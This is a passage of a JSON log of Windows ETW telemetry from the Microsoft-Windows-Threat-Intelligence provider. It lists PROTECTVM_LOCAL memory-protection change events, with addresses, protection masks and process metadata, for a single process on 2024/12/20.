type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":82,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909711,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C4F0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"128","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365C630","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":83,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909724,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C900","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"128","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365CB30","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":84,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909777,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365CA40","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"128","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365C5E0","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":85,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909790,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C950","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"128","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365CA40","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":86,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909803,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C5E0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"128","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365C810","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":87,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909816,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C900","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"128","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365C630","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":88,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909828,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C4F0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"128","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365C540","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":89,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909840,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C540","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"128","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365C7C0","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":90,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909853,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C4F0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"128","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365C4A0","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":91,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909865,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365CB30","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"128","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365C630","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":92,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909878,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365CB30","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"128","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365C590","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":93,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909891,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C900","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"128","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365C9F0","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":94,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909914,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C4F0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"128","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"64","RegionSize":"0x0000025BA365C4F0","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":95,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973909936,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365CA40","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"128","RegionSize":"0x0000025BA365C540","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":96,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910092,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C8B0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"128","RegionSize":"0x0000025BA365C950","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":97,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910115,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C9F0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"128","RegionSize":"0x0000025BA365C7C0","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":98,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910127,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C6D0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"128","RegionSize":"0x0000025BA365C950","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":99,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910139,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C4F0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"128","RegionSize":"0x0000025BA365C5E0","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":100,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910152,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365CB30","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"128","RegionSize":"0x0000025BA365C7C0","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":101,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910166,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C4F0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"128","RegionSize":"0x0000025BA365C4F0","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":102,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910178,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C4A0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"128","RegionSize":"0x0000025BA365CB30","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":103,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910192,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C8B0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"128","RegionSize":"0x0000025BA365C630","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":104,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910204,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C8B0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"128","RegionSize":"0x0000025BA365C4F0","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":105,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910216,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C9F0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"128","RegionSize":"0x0000025BA365C4F0","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":106,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910228,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C4F0","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"128","RegionSize":"0x0000025BA365C540","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown type)","TargetProcessStartKey":"25332747903961354","event":"PROTECTVM_LOCAL","id":107,"pid":1208,"provider_name":"Microsoft-Windows-Threat-Intelligence","thread_id":6916,"time":133791868973910241,"trace_id":41,"type":"etw"},{"BaseAddress":"0x0000025BA365C720","CallingProcessCreateTime":"2024/12/20 17.48.17","CallingProcessId":"1208","CallingProcessProtection":"(Unknown type)","CallingProcessSectionSignatureLevel":"(Unknown type)","CallingProcessSignatureLevel":"(Unknown type)","CallingProcessStartKey":"25332747903961354","CallingThreadCreateTime":"2024/12/20 17.48.17","CallingThreadId":"6916","LastProtectionMask":"64","OriginalProcessCreateTime":"2024/12/20 17.48.17","OriginalProcessId":"1208","OriginalProcessProtection":"(Unknown type)","OriginalProcessSectionSignatureLevel":"(Unknown type)","OriginalProcessSignatureLevel":"(Unknown type)","OriginalProcessStartKey":"25332747903961354","ProtectionMask":"128","RegionSize":"0x0000025BA365C720","TargetProcessCreateTime":"2024/12/20 17.48.17","TargetProcessId":"1208","TargetProcessProtection":"(Unknown type)","TargetProcessSectionSignatureLevel":"(Unknown type)","TargetProcessSignatureLevel":"(Unknown 